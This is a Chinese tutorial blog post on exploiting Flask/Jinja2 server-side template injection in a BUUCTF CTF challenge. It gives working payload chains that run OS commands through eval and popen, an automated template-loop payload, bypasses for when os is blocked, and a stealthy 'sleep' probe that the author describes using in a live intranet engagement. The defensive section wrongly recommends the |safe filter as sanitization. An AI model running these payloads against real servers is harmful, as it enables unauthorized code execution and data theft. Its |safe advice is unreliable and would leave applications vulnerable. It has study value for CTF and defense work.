当前位置: 首页 > news >正文

[Flask]SSTI漏洞实战:从原理到buuctf环境变量泄露的完整利用链

1. Flask SSTI漏洞初探:为什么字符串能变成武器?

第一次接触Flask SSTI漏洞时,我盯着{{7*7}}返回的49愣了半天——这明明是个计算器功能,怎么就成漏洞了?后来在BUUCTF实战中踩过几次坑才明白,模板引擎的"双刃剑"特性就藏在这个看似无害的表达式里。

Flask使用Jinja2模板引擎时,默认会对{{}}包裹的内容进行表达式解析。就像小孩子学说话时会模仿大人的语法,模板引擎也会忠实地执行我们输入的命令。当开发者不小心把用户输入直接拼接到模板中时,就相当于把系统控制权交给了陌生人。我曾在测试时用{{config}}直接打印出数据库密码,那一刻才真正理解什么叫"越简单的接口越危险"。

漏洞产生的核心条件其实就两点:

  1. 服务端接收用户输入后未经处理直接传递给render_template_string
  2. 模板中使用{{}}包含动态变量

举个例子,下面这段危险代码就是典型漏洞案例:

from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/vuln') def vulnerable(): name = request.args.get('name', 'guest') template = f'<h1>Hello {name}</h1>' return render_template_string(template)

当访问/vuln?name={{7*7}}时,页面显示的就不是预期的{7*7}字符串,而是经过计算后的49。这个简单的乘法就像黑客的"探路石",用来确认是否存在SSTI漏洞。

2. 魔术方法链:从字符串到系统命令的奇幻漂流

在BUUCTF那道让我熬夜的SSTI题里,真正卡住我的不是漏洞利用,而是理解__class__这些下划线开头的魔术方法。后来把它们的调用过程画成流程图才豁然开朗——这其实就是Python版的"套娃"游戏。

关键方法链的运作原理

  1. ''.__class__:空字符串实例的类对象(<class 'str'>
  2. .__base__:获取类的基类(<class 'object'>
  3. .__subclasses__():列出所有子类(约200+个Python内置类)
  4. [166].__init__:选定catch_warnings类的初始化方法
  5. .__globals__:获取该函数的全局命名空间字典

这个链条就像在迷宫中按图索骥:从最普通的字符串出发,通过类继承关系找到包含危险函数的特殊类。有次我写自动化脚本时把__subclasses__()的输出保存下来分析,发现不同Python版本中子类索引会变化——这就是为什么BUUCTF的catch_warnings在166号位置,而你的本地环境可能在180号。

手工构造payload时最容易栽在两点上:

  • 混淆__bases____base__(前者返回元组,后者返回单个基类)
  • 漏掉方法调用括号(比如__subclasses__()没加括号就变成方法对象了)

3. 精准打击:定位eval的猎杀时刻

在SSTI利用过程中,最刺激的莫过于寻找eval这个"大杀器"。就像玩《大家来找茬》,要在__globals__返回的庞杂字典中锁定这个关键函数。有次比赛我花了半小时手动翻找,后来才学会用'eval' in str(__globals__)快速定位。

环境变量泄露的完整利用链

# 手工payload分步解析 1. {{''.__class__}} → 获取str类 2. {{''.__class__.__base__}} → 跳转到object基类 3. {{''.__class__.__base__.__subclasses__()}} → 枚举所有子类 4. {{''.__class__.__base__.__subclasses__()[166]}} → 定位catch_warnings 5. {{''.__class__.__base__.__subclasses__()[166].__init__.__globals__}} → 获取全局变量 6. {{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}} → 执行系统命令

第6步的__builtins__是个关键跳板,它像Python的"军火库"一样包含了所有内置函数。我习惯用下面这个技巧快速验证是否找到正确路径:

{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__'].keys()}}

如果返回列表中有evalexec等函数,就意味着拿到了系统权限的"万能钥匙"。

4. 自动化攻击:模板循环的降维打击

手工构造payload虽然直观,但在实际渗透测试中效率太低。有次遇到子类索引不固定的目标系统,我不得不搬出Jinja2的模板循环语法——这就像把手动步枪换成自动机枪。

自动化payload的精妙之处在于:

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("env").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

这个payload像智能机器人一样自动完成以下工作:

  1. 遍历所有子类直到找到catch_warnings
  2. 扫描该类的全局变量字典
  3. 筛选出字典类型的变量
  4. 检查是否存在eval函数
  5. 执行命令并回显结果

在BUUCTF环境中测试时,我发现可以用|join过滤器优化输出:

{{ ''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__'].__dict__.values()|join(', ') }}

这样能更清晰地看到所有可用的内置函数。不过要注意过滤器的使用可能会触发WAF,实战中需要根据情况调整。

5. 防御之道:从攻击者视角看防护

在挖过十几个SSTI漏洞后,我逐渐养成了写Flask应用时的条件反射:所有用户输入必须经过|safe过滤器或手动转义。就像厨师处理生肉必须戴手套,模板渲染也要遵循"最小权限原则"。

有效的防护方案包括:

  • 永远不用render_template_string处理用户输入
  • 使用Jinja2的沙箱环境
  • 禁用危险过滤器(如mapselect
  • 添加内容安全策略(CSP)头

有次代码审计时我见到过最奇葩的漏洞代码:

template = request.args.get('template') return render_template_string(template.replace('{{', '').replace('}}', ''))

开发者以为删除双花括号就安全了,却不知道{% %}也能执行代码。这种"半吊子"防护反而会制造虚假的安全感。

6. 漏洞利用的边界探索

在最近一次红队行动中,我发现当目标禁用os模块时,可以通过subprocess.Popen迂回执行命令。这就好比发现防盗门没锁窗户,总有出人意料的方法突破限制。

当标准方法失效时的备选方案

  1. 通过__import__('subprocess').Popen
  2. 利用_获取最近表达式结果
  3. 使用|attr过滤器访问属性
  4. 读取/proc/self/environ获取环境变量

有个有趣的技巧是在受限环境下用__mro__获取方法解析顺序:

{{ ''.__class__.__mro__[1].__subclasses__() }}

这比直接找__base__更稳定,因为不受单继承限制。不过要注意Python2和Python3的__mro__表现略有不同。

7. 从CTF到实战的思维转换

刚开始打BUUCTF时,我总想着用最快payload拿到flag。直到某次真实渗透测试中,盲目执行rm -rf导致目标服务崩溃,才明白实战中需要更克制的操作方式。

CTF与实战的核心差异

  • CTF追求最短利用链,实战要考虑隐蔽性
  • CTF环境通常干净稳定,实战会遇到各种WAF
  • CTF的flag在环境变量,实战可能需要深入挖掘

有次在内网渗透时,我用了这样的payload来避免触发告警:

{{ config.__class__.__init__.__globals__['os'].popen('sleep 5').read() }}

sleep代替直接命令执行来探测是否存在漏洞,就像特工用摩斯密码代替明语通讯。这种"低慢小"的攻击方式往往能绕过传统防御。

http://www.jsqmd.com/news/636163/

相关文章:

  • 从应急响应靶机WhereIS入手,手把手教你排查Linux后门与容器逃逸(附完整命令)
  • Vue项目常见坑点排查指南:从路由配置到Vuex状态管理
  • Zemax实战:如何用单透镜设计快速理解场曲概念(附校正技巧)
  • Blender 3MF插件:开启3D打印工作流的新篇章
  • 隧道光强度检测仪 隧道洞内照度检测器 隧道光强度监测仪
  • Linux: rcu: 加速宽限期
  • RWKV7-1.5B-g1a新手指南:简洁UI界面+低门槛提示词+中文友好生成体验
  • 广东省值得推荐的高新技术企业认定申报机构专业认定公司申报企业 - 沐霖信息科技
  • HarmonyOS在语文教学中的应用-6. 四色太阳画板
  • YimMenu:5分钟掌握GTA5最强开源辅助工具的完整指南
  • Qwen3.5-4B-Claude-Opus-GGUF教程:Qwen3.5-4B蒸馏前后推理能力对比实测
  • BiRefNet高分辨率二分图像分割架构设计:从原理到部署的完整技术指南
  • 从23s到380ms:一个生产级AIAgent工作流的8次迭代压测与向量化重写全记录
  • 从TAP cell设计到LVS验证:一文搞懂tapless std-cell的bulk处理全流程
  • 20251231 2025-2026-2 《Python程序设计》实验二报告
  • Solidworks装配体高级技巧:从对称配合到槽口配合的实战解析
  • 线束测试仪Modbus RTU协议
  • CV视觉模型发展全景:从传统CNN到多模态大模型的85个经典架构
  • 基于深度学习cnn+opencv+YOLOv8铁轨表面缺陷检测 铁路轨道缺陷识别(数据集+模型+界面)
  • 华硕ProArt 创X 高通骁龙版 HT5306QA 原厂Win11 24H2 系统分享下载
  • 从‘driver not loaded’聊起:NVML、CUDA与NVIDIA驱动的那点事儿(附最新535.154.03驱动安装实录)
  • TCP八股
  • ESP32+LVGL9.4组件库移植实战:从SDK配置到PSRAM优化
  • AIAgent长期记忆管理必须绕过的6个工程陷阱(SITS2026技术委员会紧急预警)
  • 别再手动改格式了!Zotero中文GB/T 7714样式一键安装与配置指南(毕业论文必备)
  • 告别配置焦虑:用CMake和QTCreator 5.12一站式搞定QSSH库集成(Debug/Release双模式)
  • 终极指南:如何用netDxf轻松实现CAD图纸自动化处理
  • 为什么说 Vue 3 的组合式 API 比 React Hooks 更容易上手?深度解析
  • 图像自回归生成(Auto-regressive image generation)实战学习(五)
  • 告别Eclipse!用VSCode+CMake在Windows上快速搭建LVGL模拟器(SDL2驱动)